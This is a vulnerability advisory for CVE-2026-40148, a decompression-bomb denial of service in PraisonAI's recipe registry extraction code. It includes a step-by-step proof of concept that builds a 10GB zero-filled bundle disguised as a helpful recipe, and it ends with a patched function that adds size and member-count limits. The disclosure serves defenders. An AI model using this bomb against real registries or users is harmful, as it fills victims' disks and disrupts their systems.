CVE-2026-40148: PraisonAI Affected by Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits

Summary

The safeextractall() function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling tar.extractall(). An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via LocalRegistry.pull() or HttpRegistry.pull().

Details

The vulnerable function is safeextractall() at src/praisonai/praisonai/recipe/registry.py:131-162:

python def safeextractall(tar: tarfile.TarFile, destdir: Path) -> None: destresolved = destdir.resolve() for member in tar.getmembers(): memberpath = Path(member.name) # Reject absolute paths if memberpath.isabsolute(): raise RegistryError(...) # Reject '..' components if '..' in memberpath.parts: raise RegistryError(...) # Reject resolved paths escaping destdir resolved = (destresolved / memberpath).resolve() if not str(resolved).startswith(str(destresolved) + os.sep) and resolved != destresolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(destdir) # <-- No size limit

The function iterates all tar members and checks for path traversal (absolute paths, .. components, resolved path escaping), but never inspects member.size. The TarInfo.size attribute is available on every member and represents the uncompressed size, but it is never read.

This function is called from two locations: - LocalRegistry.pull() at line 396-397 - HttpRegistry.pull() at line 791-792

The publish() method at line 296-298 only copies the compressed bundle via shutil.copy2(), so the bomb only detonates when a victim calls pull().

No size limits, upload quotas, or decompression guards exist anywhere in the registry module.

PoC

bash Step 1: Create a malicious recipe bundle mkdir bomb && cd bomb

cat > manifest.json << 'EOF' {"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]} EOF

Create a 10GB file of zeros (compresses to ~10MB with gzip) dd if=/dev/zero of=agent.yaml bs=1M count=10240

Bundle it as a .praison file tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml cd ..

Step 2: Publish to local registry (~10MB stored) python -c " from praisonai.recipe.registry import LocalRegistry reg = LocalRegistry() reg.publish('useful-recipe-1.0.0.praison') "

Step 3: Victim pulls — extracts 10GB to disk python -c " from praisonai.recipe.registry import LocalRegistry reg = LocalRegistry() reg.pull('useful-recipe') " Result: 10GB+ written to disk, potential disk exhaustion

Impact

- Disk exhaustion: A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system. - No authentication required: The local registry has no access controls on publish(), and HTTP registry bundles are fetched from remote servers that the attacker controls. - Silent detonation: The extraction happens automatically during pull() with no progress indication or size warning to the user.

Recommended Fix

Add a maximum extraction size limit to safeextractall():

python MAXEXTRACTSIZE = 500 1024 1024 # 500MB MAXMEMBERCOUNT = 1000

def safeextractall(tar: tarfile.TarFile, destdir: Path) -> None: destresolved = destdir.resolve() members = tar.getmembers() if len(members) > MAXMEMBERCOUNT: raise RegistryError( f"Archive contains too many members ({len(members)} > {MAXMEMBERCOUNT})" ) totalsize = 0 for member in members: memberpath = Path(member.name) if memberpath.isabsolute(): raise RegistryError( f"Refusing to extract absolute path in archive: {member.name}" ) if '..' in memberpath.parts: raise RegistryError( f"Refusing to extract path traversal in archive: {member.name}" ) resolved = (destresolved / memberpath).resolve() if not str(resolved).startswith(str(destresolved) + os.sep) and resolved != destresolved: raise RegistryError( f"Refusing to extract path escaping target directory: {member.name}" ) totalsize += member.size if totalsize > MAXEXTRACTSIZE: raise RegistryError( f"Archive extraction would exceed size limit " f"({totalsize} > {MAXEXTRACTSIZE} bytes)" ) tar.extractall(destdir)